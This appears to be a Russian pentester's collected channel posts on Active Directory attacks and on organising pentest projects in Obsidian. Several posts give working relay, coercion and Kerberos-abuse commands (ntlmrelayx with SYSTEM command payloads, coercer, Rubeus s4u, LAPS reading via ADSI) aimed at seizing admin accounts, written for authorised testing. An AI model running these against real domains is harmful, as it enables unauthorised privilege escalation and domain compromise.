Задача для собеседования №2

Продолжаем тему задачек и рассмотрим второй сценарий. И опять чтение LAPS, но это совпадение.

Сценарий
В результате анализа векторов в BloodHound было обнаружено, что на сервер SCCM имеет привилегии локального администратора на сервере SERVER, который в свою очередь имеет права на чтение атрибута LAPS для сервера SERVERDB. На сервере SERVERDB есть сессия администратора AD-ADMIN.

Дополнительное условие, на сервере SERVER отключена SMB подпись.

Задача попытаться захватить учетную запись администратора AD-ADMIN.

Решение:

Если на сервере `SCCM` не настроена защита от принудительной аутентификации (фильтр RPC), то мы можем попытаться выполнить принудительную аутентификация и перенаправить NTLN аутентификацию на сервер `SERVER`. В качестве полезной нагрузки может быть несколько вариантов:
- Добавить себя в группу локальных администраторов;
- Прочитать данные из LSA, получив локальные учетные данные;
- Выполнить LDAP запрос на чтение атрибута `ms-Mcs-AdmPwd`

Рассмотрим третий вариант. Хотя учетная запись `SCCM` входит в группу локальных администраторов, компьютерам запрещен интерактивный вход на удаленную машину. Поэтому все команды будут выполняться от SYSTEM. Если команды от SYSTEM на доменной машине, то при обращении к LDAP будет использоваться учетной запись компьютера, в нашем случае `SERVER`.

Чтобы выполнить запрос к LDAP воспользуемся ADSI запросом:

```
$object = [ADSI]"LDAP://CN=SERVERDB,CN=Computers,DC=domain,DC=local"
$name, $laps = $object.Properties["name","ms-Mcs-AdmPwd"]
Write-Output "$name has LAPS password $laps"
```

Переведем это в последовательность base64, чтобы избавиться от лишних спецсимволов. Запускаем NTLM Relay в качестве цели указываем SERVER, а в качестве полезной нагрузки ` -c "powershell -enc <base64>"`.

Теперь выполняем принудительную аутентификацию сервера `SCCM` и наблюдаем за результатами. Если все было сделано правильно мы получим пароль LPAS и можем зайти на сервер ` SERVERDB` и попытаться захватить учетную запись `AD-ADMIN` с помощью дампа билетов Kerberos или имперсонализации токенов доступа.

Если, что-то пойдет не так, то всегда остаются два первых варианта.


#Внутрянка #Задачи

Эффект BloodHound

За несколько лет использования BloodHound я вывел эффект «собаки»:

Если на этапе анализа путей вы получили информацию о сессиях админов на хостах, то, когда вы доберетесь до этих хостов c необходимыми правами, сессий на 90% там уже не будет и появятся только, когда вы найдете другой маршрут! =)

#Размышления

Цепочка NTLM Relay

Пока между проектами появилась пауза есть возможность поделиться интересной цепочкой атаки.
Представим себе ситуацию в инфраструктуре есть центр сертификации, на котором включен Web Enrollment. Есть потенциальная возможность эксплуатации ESC8. У нас есть доменная учетная запись PENTESTER и рабочая станция WS-536, на котором у нас есть привилегии локального администратора, но от этого хоста недоступен Центр сертификации по протоколу HTTP. Так же в инфраструктуре есть компьютер WS-421, на который все члены группы DOMAIN USERS имеют доступ по протоколу RDP, но не имеют прав локального администратора. С этого компьютера есть доступ к центру сертификации по протоколу HTTP.
Во время сбора и анализа информации мы обнаружили рабочую станцию администратора WS-ADMIN-3, на которой есть его сессия с повышенными привилегиями.

В итоге у нас есть:
- Возможность выполнять принудительную аутентификацию рабочей станции администратора WS-ADMIN-3;
- Можем установить свою рабочую станцию в качестве слушателя, предварительно отключив ‘lanmanserver’, но не можем ретранслировать полученную аутентификацию на центр сертификации;
- Можем ретранслировать полученную аутентификацию с хоста WS-421 на центр сертификации, но не можем отключить службу lanmanserver ;

Ситуация кажется патовой. Но если между нашей рабочей станцией WS-536 и компьютером WS-421 есть сетевая доступность не только по порту 3389, есть возможность создать цепочку из NTLMRelay для получения заветного сертификата.

На видео показана демонстрация, но кратко разберем шаги. Первым шагом мы запускаем ntlmrelayx на компьютере WS-421 и будем ретранслировать данные аутентификации в центр сертификация для получения сертификата. Так как служба lanmanserver запущена на этом компьютере, а у нас нет прав для его отключения, то указываем ключ --no-smb-server. В качестве шаблона указываем доступный для машины шаблон.

.\ntlmrelayx.exe -t http://dc01/certsrv/certfnsh.asp --adcs --no-smb-server --template "Machine"

Возвращаемся на нашу рабочую станцию WS-536. И запускаем ntlmrelayx на ретрансляции аутентификации на компьютер WS-421 по протоколу HTTP.

.\ntlmrelayx.exe -t http://ws-421  -smb2support

Теперь, когда все готово, можно выполнять принудительную аутентификацию рабочей станции администратора WS-ADMIN-3.

.\coercer.exe -d domain.local -u pentester -p Qwerty123 -l ws-536 -t ws-admin-3

Получив заветный сертификат, можно использовать его для доступа на рабочую станцию администратора, или через серебряный билет или злоупотребление s4u2Self.

#Playbook #Внутрянка

Меняем значок Owned в BloodHound Legacy

Данный пост для тех, кто использует BloodHound Legacy.

Мне всегда не нравилась отметка owned в BloodHound Legacy в виде черепа. Вот дошли руки изменить значок.
Не буду описывать как настроить окружение для сборки приложения, эта информация есть в интернете и моей книге.

Загружаем исходники с Github. Открываем файл Graph.jsx на редактирование и ищем блоки, связанные с node.owner. В этом файле два места, где встречаются необходимые блоки. Первое - при установке атрибута через контекстное меню, второе - при построении графов.

В этих блоках нас интересует три параметра:
- content – вид значка в Font Awesome - uf024 значок флага.
- fillColor – цвет фона – black.
- textColor – цвет шрифта – red.

По умолчанию свойство textColor отсутствует и устанавливается глобально в свойстве glyphTextColor в белом цвете.

В результате изменений получаем следующий результат:

    setOwned(id, status) {
        closeTooltip();
        let instance = this.state.sigmaInstance;
        let node = instance.graph.nodes(id);
        if (status) {
            node.owned = true;
            node.notowned = false;
            node.glyphs.push({
                position: 'top-left',
                font: '"Font Awesome 5 Free"',
                content: '\uf024',
                fillColor: 'black',
                textColor: 'red',
    fontScale: 1.5,
                fontStyle: '900',
            });

        if (node.owned) {
            node.glyphs.push({
                position: 'top-left',
                font: '"Font Awesome 5 Free"',
                content: '\uf024',
    fillColor: 'black',
                textColor: 'red',
                fontScale: 1.5,
                fontStyle: '900',
            });

Собираем приложение и наслаждаемся результатом.

#BloodHound

BloodHound Legacy и HoundLoader (demo)

В своей работе я использую BloodHound Legacy. Для меня этот инструмент очень удобный и понятный. Так же у меня есть возможность менять его под свои желания. С выходом BloodHound CE поддержка BloodHound Legacy была остановлена. И тут самой большой проблемой стала возможность загружать данные из SharpHound новой версии (частично изменился формат JSON файлов).

В принципе, мне достаточно старой версией SharpHound для сбора основной информации об инфраструктуре Active Directory, а остальные данные при необходимости загружаю с помощью скриптов. Сейчас новая версия SharpHound собирает большое количество полезной информации, и я уже начал задумываться о переходе на BloodHound CE. Попробовав его пару раз, пришел к выводу, что мне неудобно в нем работать. При всей красоте построения графов и наличия нормальной строки для Cypher запросов остальное вызывает у меня отторжение, возможно, дело привычки.

Год назад мне пришла мысль, а что, если загружать данные в BloodHound CE потом делать резервную копию базы данных и переносить ее в BloodHound Legacy. Метод, надо признать, не самый лучший, но вариант рабочий. Однако, данные резервной копии будут содержать узлы и связи, которые BloodHound Legacy не умеет отображать, но добавить их в код не большая проблема. (Тут должна была быть реклама =))

Месяц назад мои коллеги из отдела разработки (Аркадий, привет!) для своих нужд выдернули из исходников BloodHound CE функции парсера и загрузчика данных SharpHound и собрали приложение, которое получило название HoundLoader. Приложение показало хорошие результаты, но опять не без косяков.
Постоянно просить разработчиков что-то добавлять или менять мне не хотелось, а go я не знаю. Поэтому я решил погрузиться в исходные коды BloodHound Legacy, чтобы понять, как он добавляет данные в neo4j.

Никогда не понимал, зачем собирать данные в JSON чтобы потом их парсить в Cypher и уже загружать данные в базу. Почему сразу не сохранять данные в виде Cypher запросов? Но надо признать, алгоритм достаточно простой и тут возник вопрос обновлять JS в BloodHound Legacy или сделать все с нуля. Читать и изменять чужой код занятие непростое, поэтому я принял решение написать HoundLoader на PowerShell.

Данные нормально, загружаются в базу, но еще не тестировались на больших инфраструктурах. И есть большая задача по установке связей между объектами после загрузки данных.

Пока моя версия BloodHound Legacy и HoundLoader находятся на стадии тестирования и доработки, но надеюсь осенью поделиться своими наработками с сообществом.

#BloodHound #Powershell

Задача для собеседования №3

Давно не было задачек для собеседования.

Сценарий:
В ходе изучения инфраструктуры было обнаружено, что группа AUTHENTICATED USERS имеет права GenericWrite над объектом компьютер SRV-02. Сам объект компьютера имеет права WriteDacl над OU OU_SERVICE. Учетная запись SVC_BACKUP является дочерним объектом OU OU_SERVICE, а также членом группы SERVER_ADMINS.

Дополнительные условия:
- Есть учетные данные от пользователя PENTESTER
- В инфраструктуре нет дополнительных настроек безопасности все по умолчанию.
- Функциональный уровень домена - 2016

Цель:
Получить привилегии группы SERVER_ADMINS.

Решение:
По умолчанию все доменные пользователи и компьютеры входят в группу `AUTHENTICATED USERS`. Таким образом есть возможно менять атрибуты для объекта компьютер `SRV-02`. Функциональный уровень домена позволяет выполнять технику Shadow Credentials. Получаем TGT билет Kerberos для `SRV-02` и теперь есть возможность изменять ACL для OU `OU_SERVICE`. Добавляем права `GenericAll` пользователю `PENTESTER` над объектом `OU_SERVICE`, а также меняем наследование OU, чтобы получить права `GenericAll` над всеми объектами, входящих в эту OU. Еще раз выполняем технику Shadow Credentials и получаем контроль над учетной записью `SVC_BACKUP`, которая является членом целевой группы `SERVER_ADMINS`.

#Внутрянка #Задачи

Вижу цель - не вижу препятствий

При подготовке к выступлению на VolgaCTF я обнаружил в своих рукописных записях заметку про этапы успешного выполнения целей и проектов. Этапы описаны очень поверхностно, но при этом дают общее представление куда стоит двигаться. Эта мини инструкция может быть полезна при решении сложных задач.

Этап 1 - Подготовка и аналитика
На данном этапе собираем максимально возможную информацию об объекте тестирования и анализируем полученную информацию.

Этап 2 - Постановка целей и их полная декомпозиция
Обычно цели указываются в техническом задании. Правильно поставленная цель дает 50 процентов понимания, что нужно сделать. Каждую цель нужно превратить в конкретную, измеримую и достижимую тактическую цель. Также необходимо разбить ее на несколько более мелких целей.

Этап 3 - Проверка условий, необходимых для реализации целей
На данном этапе необходимо оценить реалистичность намеченного плана, определив необходимые условия и инструментарий.

Этап 4 - Формирование стратегии исходя из условий, возможностей и выполнимости
Если все условия выполняются необходимо разработать детальный пошаговый план действий, которые максимизируют шансы на успех. При необходимости проверить план в лабораторных условиях. Подготовить команды для запуска с необходимыми параметрами.

Этап 5 - Что может пойти не так – форс-мажоры
Выявить потенциальные риски, которые могут сорвать выполнение плана и подготовить меры по смягчению последствий. Необходимо подготовить альтернативные варианты действий и в случае, если все пойдет не по плану использовать альтернативные шаги. Как говорится «Praemonitus, praemunitus» (Предупреждён, значит вооружён).

Этап 6 - Выполнение плана и достижение цели
Когда все готово и проверено, можно приступать к выполнению пошагового плана.

Этап 7 - Выученные уроки.
Процесс выученных уроков является одновременно ретроспективным и перспективным взглядом на выполнение целей. С одной стороны мы оцениваем результат выполненных действий, а с другой учитываем все допущенные ошибки, которые учтем в будущих проектах.


#Организация #Размышления #Внутрянка

Всем привет!
На хабре вышла статья по моему отчету, который я подавал на «Pentest Awards’25» в номинации «Пробив инфраструктуры». В конкурсе я занял почетное 5 место и награду «Фаворит года по мнению жюри». Отчет немного изменен редакторами, но получилось живенько.
Приятного чтения!

Поиск небезопасных ACЕ на службу

Я уже писал на тему обнаружения небезопасных ACE в посте «Небезопасная настройка ACL служб через групповые политики». Сегодня хочу вернуться к этой теме, но немного с другой стороны.

Настройка ACL служб может выполняться и через другие механизмы (SCCM, GoldenImage) и если на одном из компьютеров была обнаружена небезопасная настройка ACE, они могут быть и на других хостах, поэтому стоит проверить на других удаленных машинах ACE на определенную службу.
Для этого я написал скрипт на основе другого скрипта, оригинал которого находиться на сайте. Я уже писал о нем в посте про Server Operators.

И так у нас есть скрипт, который может вывести все права на службу на удаленной машине (при наличии прав). Нам нужно написать функцию, которая извлечет из домена все незаблокированные машины и проверит на них права согласно нашему запросу.

function Invoke-CheckServiceACL{
    [CmdletBinding()]
    Param (
        [Parameter (Mandatory=$true, Position=0)]
        [string] $serviceName,

        [Parameter (Mandatory=$false, Position=1)]
        [string] $Identity,

        [Parameter (Mandatory=$false, Position=2)]
        [string] $SearchBase,

        [Parameter (Mandatory=$false, Position=3)]
        [ValidateSet("ChangeConfig", "WriteDac", "WriteOwner", "Start", "Stop")]
        [string] $ServiceRight

    )

    # Search all enabled computers
    $searcher = [adsisearcher]'(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
    $searcher.PageSize = 1000
    
    # Search in specific OU if we need
    if($SearchBase)
    {
        $searcher.SearchBase = "LDAP://" + $SearchBase
    }
   
    $comps=$searcher.FindAll()
   
    foreach($comp in $comps)
    {
        $ComputerName = $comp.Properties.name.Item(0)
        # Call function Get-ServiceAcl
        Get-ServiceAcl -Name $serviceName -ComputerName $ComputerName | Select-Object -ExpandProperty Access| Where-Object {$_.IdentityReference -match "$Identity" -and $_.ServiceRights -match $ServiceRight}
    }

    $searcher.Dispose()
    $comps.Dispose()
} 

В параметре -serviceName указывается службы имени. Это обязательный параметр.
В параметре -Identity указывается имя пользователя или группы. Если параметр не указывается, то фильтрации не будет и скрипт выведет всех пользователей или группы, соответствующие другим параметрам.
В параметре -SearchBase указывается Подразделение (OU). Если параметр не указывается, поиск компьютеров будет выполняться по всему домену.
В параметре -ServiceRight указывается право, по которому фильтруется вывод. Есть предопределенные параметры "ChangeConfig", "WriteDac", "WriteOwner", "Start", "Stop". Если параметр не указывается, вывод по правам не фильтруется.


Запускаем со всеми параметрами

Invoke-CheckServiceACL -serviceName wuauserv -SearchBase "OU=Test 2,DC=domain,DC=local" -Identity "Authenticated Users" -ServiceRight ChangeConfig
ChangeConfig 

Полная версия скрипта находится на Github.

#powershell #activedirectory

SCCM SMB Relay SITE to DP

Пока готовлю большой материал по ведению проекта в Obsidian решил поделиться одним вектором с использованием SCCM.

Если в инфраструктуре используется распределенная архитектура SCCM, то при настройке Distribution Point (DP) учетная запись сервера сайта (Site Server's Computer Account) должна быть в группе локальных администраторов. Это гарантирует, что программа установки SCCM имеет достаточные права для настройки всех необходимых компонентов. В high availability конфигурации, где существует активный и пассивный сервер сайта, учетная запись компьютера пассивного сервера также должна быть членом группы локальных администраторов на активном сервере сайта и на всех удаленных системах сайта (включая точки распространения).

Если на серверах DP нет SMB подписи и сервер Site подвержен принудительной аутентификации, то можно выполнить технику принудительной аутентификации Site и технику ntlmrelay на сервера DP и получить привилегии уровня SYSTEM.

Настраиваем ntlmrelayx:

ntlmrelayx.exe -t smb://dp-sccm.domain.local -smb2support 

Выполняем принудительную аутентификацию Site Server:

coercer.exe -d domain.local -u pentester -p Qwerty123 -l ws-536 -t site-sccm.domain.local

В этом примере мы получим данные из SAM.

Так же можно выполнять команды, если в качестве параметра указать -с <команда> все команды будут выполняться с привилегиями SYSTEM.

ntlmrelayx.exe -t smb://dp-sccm.domain.local -smb2support -c 'whoami'

В параметре -c так же можно выполнять скрипт powershell если его предварительно закодировать в base64, чтобы не возиться с кавычками и прочими радостями строк.

ntlmrelayx.exe -t smb://dp-sccm.domain.local -smb2support -c 'powershell -enc d2hvYW1p' 

Если атакованный DP сервер имеет привилегии в домене, то можно сразу указать необходимый ADSI запрос в base64 для powershell. И хотя мы выполняем аутентификацию от имени site-sccm сервера, запросы к LDAP будут выполняться от dp-sccm. Это связанно с тем, что объекты компьютера не могут запускать интерактивную оболочку и поэтому все команды идут от SYSTEM. А так как SYSTEM (локальный) не имеет прав доступа к домену, то LDAP запрос будет выполняться от имени машины, которой принадлежит SYSTEM.

Рекомендации
- Настроить SMB Signing на всех серверах SCCM
- Через локальных firewall настроить защиту от принудительной аутентификации сервера
- Рассмотреть возможность использовать отдельную доменную учетную запись как site server account

#Внутрянка #ActiveDirectory

Obsidian: за гранью заметок. Структура

В течение недели я буду выкладывать материал как можно использовать Obsidian для ведения проекта по тестированию на проникновение.

Эту тему я подавал как выступление на Offzone 2025, но доклад не прошел отбор. Я решил, что не стоит пропадать материалу и опубликую его здесь, на своем канале.

Obsidian популярный инструмент для ведения базы знаний и различных заметок. Пару лет назад я начал использовать его для ведения проектов. Для корпоративного использования был добавлен информационный блок. При всех удобствах Obsidian у него есть один недостаток – отсутствует возможность совместной работы над заметками на собственных ресурсах из коробки. Но эту проблему можно решить с помощью плагина Self-hosted LiveSync и CouchDB.

И так приступим к описанию структуры. Ее можно делать любой. В начале идет директория «00 Информация» — это необязательная директория, но иногда полезно, чтобы под рукой была базовая информация по проведению работ.

Директория «00 Информация» содержи несколько информационных файлов:
• Файл «01 Правила выполнения работ» содержит общие правила и требования по выполнению работ. Направлен на выстраивание процесса работ по проектам, связанных с внутренней инфраструктурой Заказчика.
• Файл «02 Методология» содержит общую методологию для проведения работ по внутренней инфраструктуре на базе Active Directory. Может быть использована во время проведения работ как подсказка по дальнейшим шагам. Выполнение работ не должно ограничиваться только пунктами, указанными в методологии.
• Файл «03 Структура и описание» содержит информацию о структуре каталогов и назначении файлов. (то, что описывается в данном посте)
• Файл «04 Шпаргалка» содержит информацию по часто встречающимся командам при выполнении работ.

Следующая директория «01 Ход работ» содержит файлы, которые непосредственно относятся к выполнению работ:
• Файл «01 Цели и задачи» содержит перечень целей и задач проекта.
• Файл «02 Заметки» содержит информацию о ходе работ и результатах проверок. Данный файл помогает при написании отчета. Обычно я делаю заголовок и прикладываю снимки экрана, если есть более полезная информация делаю небольшую заметку.
• Файл «03 Чек лист» содержит перечень задач, которые необходимо выполнить или идей, которые пришли специалисту в голову. Чек лист можно разделить на различные части, например сбор информации, основные задачи или дополнительные задачи. Чек лист помогает контролировать выполнение работ и отслеживать полноту проверок.
• Файл «04 Трекинг задач» является продолжением чек листа и с помощью плагина DataView позволяет отслеживать какие задачи были выполнены их статус и результат.

В следующих постах я подробнее остановлюсь на чек листах и трекинге задач, а также продемонстрирую, как можно использовать BloodHound для формирования чек листов.

Директория «02 Журналы» используется как хранилище файлов, результатов работ программ и скриптов. Так же используется как доказательство выполненных работ.

Директория «03 Отчет» будет содержать в себе драфт отчета по проекту. Кроме этого, в данном каталоге есть файл «00 Выученные уроки», в которую можно записать полезную информацию, которую специалист получил в результате выполнения проекта: новый вектор, интересная реализация старого вектора, новая программа или скрипт.

Директория «04 Скриншоты» содержит снимки экрана, вставленные в любой файл. Является вспомогательной директорией. Для автоматической перемещения снимков экрана в эту директорию необходимо указать ее в настройках:

Файлы и ссылки – Место для вложенных файлов по умолчанию – В папке, указанной ниже – Пусть к папке для вложенных файлов

Директория «05 Шаблоны» содержит различные шаблоны, которые могут использоваться для файла «02 Заметки», задачи чек листа или отчета.

Чтобы настроить папку с шаблонами нужно открыть настройки:

Шаблоны – Путь к папке с шаблонами

В следующем посте рассмотрим ведение заметок для выполнения работ.

#Внутрянка #Организация

Obsidian: за гранью заметок. Заметки

В предыдущем посте я продемонстрировал структуру каталогов и файлов. Сегодня небольшой пост про заметки.

Заметки предназначены для хранения результатов выполняемых действий, но не в виде файлов, а в виде отдельных записей. Записи могут быть в текстовом виде или снимков экрана. Заметки помогают в написании отчетов.

Я испробовал различные варианты ведения записей: по датам, по хостам и пользователям, по векторам, но в конечном счете пришел к решению, что мне удобнее вести один файл с заметками.

Чтобы легче было ориентироваться в документе, рекомендую разделять результаты на отдельные блоки с заголовками, уровень заголовков не имеет большого значения, но вложенные блоки лучше делать с уровнем ниже. Эти блоки будут полезны, если задачи отслеживаются в виде чек-листа. Чек-лист вплотную связан с заметками, так как заметки могут быть результатом задачи или источником для другой задачи. При необходимости можно указать ссылку на заголовок в заметке.

Совет

Если текстовых данный очень много (больше 20–25  строк), например, машин во время сбора информации о компьютерах с запущенной службой WebClient обнаружилось больше 30, то лучше записать эти данные в отдельный текстовый файл сохранить в каталоге «02 Журналы» и приложить его в соответствующее поле в задаче.

Снимки экрана
В первой части этого цикла мы настроили Obsidian таким образом, чтобы снимки экрана сразу попадали в директорию O4 Скриншоты. Теперь мы можем просто вставлять снимок экрана в заметку и файл будет автоматически создан и перемещен в указанную директорию.

Для снимков экрана стоит добавить подпись. Чтобы добавить подпись, достаточно после названия файла вставить вертикальную черту и написать название.

![[Pasted image 20251006205637.png|Выполнение задачи]]

Такой формат пригодится для будущих отчетов.

Завтра расскажу про чек-лист.

#Внутрянка #Организация

Obsidian: за гранью заметок. Чек-лист

В предыдущем посте я базово рассмотрел принцип ведения заметок. Продолжим тему использования Obsidian для ведения проекта.
Чек-лист — это перечень задач или проверок, которые имеют чекбокс для отметки, указывающий, что задача или проверка была выполнена.

Основная ценность чек-листов заключается в обеспечении полноты покрытия - они гарантируют, что все критические векторы атак проверены и исключают человеческий фактор, когда специалист может случайно пропустить важную проверку. Чек-лист может содержать стандартные задачи и пополняться в процессе выполнения работ, тем самым покрывать большее количество векторов.

Для отслеживания статуса задач будем использовать плагин DataView. Чтобы плагин знал какие данные обрабатывать в файле чек-листа, добавим метку #checklist.

В формате markdown для создания чекбокса используется простая конструкция:

- [ ] Название задачи 1
- [ ] Название задачи 2

Я же предлагаю добавить к такой записи структурированные данные, которые определяют статус и результат задачи.

- [ ] [name:: ]
[state:: ]
[loglink:: ]
[notes:: ]
[comments:: ]

Данные вносятся в границах квадратных скобок, а не после них.

Название полей понятные, но рассмотрю некоторые особенности.

Поле name
Это название задачи, должно быть лаконичным и понятным. Можно добавить короткое описание в поле comments.

Совет

Избегайте повторений в названиях, добавляйте что-то, что будет отделять одну задачу от другой. Например, при задаче распыления пароля можно добавить пароль.

Поле state
Если чекбокс определяет выполнение задачи, что поле state результат. Данное поле принимает любое текстовое значение, то трекинг задач будет принимать только два значения "успех" или "провал" все остальные значения будут определяться как N/A.

Поле loglink
Данное поле является важным для ведения проекта. Результаты могут быть в виде файлов или текста и снимка экрана. Если результаты выполнения задачи хранятся в файле, то необходимо приложить ссылку в поле loglink. Для этого достаточно перетащить файл в это поле и удалить восклицательный знак. Если название файла очень длинное можно добавить ему короткое имя. После названия файла поставить вертикальный знак | и написать название. Например, [[20250617131226_BloodHound.zip|BloodHound.zip]]

Если результат заносится в виде заметок, то в самой задаче указать обычную ссылку для документа. Чтобы не перегружать поле можно добавить только нужный раздел через заголовок #. После установки символа # Obsidian автоматически покажет какие разделы доступны. Например, [[02 Заметки#Результат распыления пароля]]

Если результатов нет можно добавить краткую причину провала в поле comments.

Поле notes
Данное поле позволяет предоставить дополнительную информацию по данной задачи. Чаще всего это будет результат выполнения предыдущих задач. Заполнение будет одинаковым с полем loglink.

Если необходимо добавить новые поля, например время, IP адрес или имя пользователя, то формат будет следующий: [название поля:: <значение>]. Можно изменить шаблон под свои требования на проекте, а также сразу внести статичные данные, которые не будут меняться в течении проекта.

#Внутрянка #Организация

Obsidian: за гранью заметок. Трекинг задач

Заметки и задачи в виде чек-листа мы обсудили теперь перейдем к трекингу выполненных задач. Созданный чек-лист может содержать большое количество задач и отслеживать его будет не просто, поэтому создадим трекинг задач с использованием плагина DataView.

Плагин DataView использует язык запросов DQL, который очень похож на SQL и используется для запросов к метаданным в заметках Obsidian. В следующем запросе мы формируем как будет выглядеть наша таблица.

TABLE WITHOUT ID
  choice(task.completed, "🟢", "⚪️") AS "Статус",
  choice(task.name >0, task.name, (regexreplace(task.text, "\[.*$", ""))) AS "Задача",
  choice(task.notes, 
         "📄 " + task.notes + "", 
         "🚫 Нет") AS "Заметка",
  choice(
  task.state > -1,
  choice(lower(task.state) = "успех", "🟢 Успех",
  choice(task.state = "провал", "🔴 Провал", "⚪️ NA")),  
  "⚪️ NA"
  ) AS "Результат",
  choice(task.loglink, 
         "📄 " + task.loglink + "", 
         "🚫 Нет") AS "Журнал",
 task.comments AS "Комментарий"
FROM #checklist 
FLATTEN file.tasks AS task

Данный запрос ищет в хранилище Obsidian метку #checklist, а FLATTEN преобразует строковые данные в подобие массива, который будет обрабатываться.

Если в задачах чек-листа есть ссылки на «Заметки» или на файлы журналов, то в трекинге задач можно просмотреть эти результаты. Если навести мышь на ссылку, то она покажется в отдельном окне. Что удобно при изучении информации во время проведения работ.

Для небольшого удобства в начале трекинга задач можно сделать заголовок «Незавершенные задачи», скопировать запрос выше, но добавить условие WHERE после FLATTEN:

…
FLATTEN file.tasks AS task
WHERE task.completed = false

В результате будет отображаться таблица со всеми незавершенными задачами, а в общей таблице будут отображаться все задачи в чек листа.

Для статистики можно использовать следующий запрос.

TABLE WITHOUT ID 
  (length(filter(file.tasks.completed, (t) => t = true))) AS Завершённых,
  (length(file.tasks.text)) - (length(filter(file.tasks.completed, (t) => t = true))) AS "Незавершенных",
  (length(filter(file.tasks.completed, (t) => t = true))) / (length(file.tasks.text)) * 100 AS "% Завершено",
  (length(file.tasks.text)) AS Всего
FROM #checklist 

Он будет показывать сколько всего задач в чек листе сколько завершено задач и сколько не завершено.

Можно использовать dataviewjs, которые позволяет делать более крутые вещи по отображению данных, но требует дополнительного изучения и на данный момент не будет рассматриваться.

#Внутрянка #Организация

Obsidian: за гранью заметок. Отчет

Это предпоследний пост цикла ведения проекта в Obsidian. Отчет важная часть выполнения проекта, в нем собраны результаты проведения работ.

В большинстве своем пентестеры не любят писать отчеты. И хотя во многих компаниях есть отдельное подразделение, которое приводит отчет в нормальный вид, драфт отчета все равно приходится писать пентестерам, которые проводили работы.

Каждая организация пишет отчет в своем стиле, тем не менее в отчете используются одни и те же описания уязвимостей, недостатков и рекомендаций. Меняются только данные и снимки экрана. Поэтому можно создать шаблоны описания всех уязвимостей и недостатков, а также техник и рекомендаций и поместить их в директорию 05 Шаблоны

При наличии таких шаблонов отчет проще писать. Делаем заголовок нужного уровня, вставляем из шаблона необходимое описание, заполняем данными и вставляем снимок экрана с подписью.

Если во время выполнения работ заметки велись правильно и в них есть снимки экрана, то в драфт отчета можно скопировать ссылку на файл и добавить подпись если ее нет.

Сложный момент — это перенос отчета из файла Obsidian в Word, онлайн конвертеры я не использовал из-за чувствительной информации, а остальные варианты мне не понравились. Возможно, я не умею ими пользоваться. Простое копирование информации из одного формата в другой занимал много времени и поэтому изначально было бы проще писать отчет в Word.

В итоге с помощью ИИ я написал конвертер на powershell, который построчно считывает md файл и записывает его в документ Word. Скрипт может использовать шаблон документа со всеми стилями, а также начинать добавление информации с определенной метки. Скрипт автоматически выставляет уровни заголовков, вставляет снимок экрана и добавляет подпись если она была в md файле.

После импорта данных проверяем, что вся информация перенеслась корректно, доводим отчет до финальной версии сохраняем и отправляем, на вычитку и проверку.

Скрипт лежит найти на Github, там же есть пример запуска.

#Внутрянка #Организация

Obsidian: за гранью заметок. Генератор чек-листа

Завершаю цикл статей по использованию Obsidian для ведения проекта по пентесту. Речь пойдет про генерацию задач для чек-листа из BloodHound.

Чтобы руками не выполнять различные запросы для поиска недостатков в инфраструктуре на базе Active Directory я написал небольшой скрипт Invoke-CheckListGenerator, который преобразует результаты Cypher запросов из BloodHound в структурированные задачи для чек-листа Obsidian, позволяя автоматизировать процесс аудита безопасности Active Directory и отслеживать прогресс исправления уязвимостей.

В репозитории есть два JSON файла queries.json и ownedqueries.json, которые содержат Cypher запросы, описание и мета данные для формирования результата. В первом файле находятся общие проверки, а во втором почти то же самое, но пути строятся от имени скомпрометированных узлов (n.owned=TRUE).

Скрипт считывает данные из JSON файла, затем подключается к базе данных Neo4j и выполняет серию проверок безопасности через запросы Cypher. В результате формирует два файла в формате markdown для Obsidian. Первый файл — это задачи для чек-листа, а второй заметки в формате, описанный ранее. Кроме результатов Cypher запросов заметка будет содержать сам Cypher запрос, для проверки или уточнения каких кто-то моментов.

Если результат проверки отсутствует, то задача помечается как выполненная со статусом "Провал". Если проверка является самостоятельной SelfCheck = True и у нее есть результат она помечается как выполненная со статусом успех. SelfCheck - проверки результаты, которых могут быть использованы в других векторах.

Ссылка на GitHub.

#Внутрянка #Организация

Права на сброс пароля компьютеру

Неделю назад в чате RedTeam Brazzers один из участников задал вопрос, если есть права на сброс пароля для объекта компьютер, то единственный вектор эксплуатации только при условии, что компьютер имеет какие-то привилегии на другие объекты. Я предположил, что можно попробовать выписывать TGT билеты до того момента как администраторы вернут машине доверие в домене (сбросят пароль через сам компьютер), дальше использовать этот TGT билет Kerberos (пока он валидный) для получения доступа на хост через S4U2Self. Мне ответили, что пройти аутентификацию уже будет невозможно.

Сначала я согласился с этим ответом, но сама мысль не давала мне покоя. Я решил проверить свою гипотезу в лаборатории. В результате записал демо, в котором видно, что после восстановления доверия между компьютером (пароль меняется) все еще можно выполнять технику S4U2Self со «старым» TGT билетом Kerberos.

Последовательность команд

$object = [ADSI]"LDAP://CN=WS-238,CN=Computers,DC=domain,DC=local"
$object.Invoke("SetPassword", "Qwerty123")
$object.CommitChanges()

.\Rubeus.exe asktgt /user:ws-238$ /password:Qwerty123 /domain:domain.local /dc:dc01.domain.local /outfile:ws-238.kirbi

# Ждем, когда администраторы восстановят доверие между доменом и компьютером
# Test-ComputerSecureChannel -Repair -Credential (Get-Credential)

.\Rubeus.exe purge # можно использовать runas.exe /netonly
.\Rubeus.exe s4u /impersonateuser:admin /self /altservice:http/ws-238 /user:ws-238$ /domain:domain.local /dc:dc01.domain.local /ptt /ticket:ws-238.kirbi

Enter-PSSession ws-238

По умолчанию срок жизни TGT билета Kerberos 10 часов для обычных учетных записей и 4 часа для входящих в группу Protected Users. Но компьютеры не будут входить в эту группу.

Данная вектор нарушает работу хоста и должен выполняться по согласованию с заказчиком.

UDATE
Ключ машины сбрасывается под администратором домена или учетной записью, которой разрешено вводить компьютеры в домен, так как время жизни «старого» TGT билета Kerberos еще не истекло, но TGS билеты уже будут шифроваться на новом ключе, поэтому вектор отрабатывает.

#Внутрянка #ActiveDirectory

Уважаемые коллеги по цеху!

Уходящий год мы провели в разборе простых техник и сложных цепочек атак, изучая, казалось бы, неприступные системы. Но именно этот поиск уязвимостей и формирует ту самую целостную картину мира информационной и наступательной безопасности, где каждая уязвимость или недостаток — это часть большого пазла.

Пусть 2026 год станет временем новых техник и интересных вызовов, когда ваши собственные наработки, скрипт, утилита или исследование получат признание, найдут применение и принесут вам не только удовлетворение, но и новые возможности.
Желаю, чтобы время, инвестированное в личные эксперименты, окупалось стократ, давая вам свободу творчества, которого порой так не хватает в рамках типовых задач.

Здоровья и ярких открытий во всех направлениях!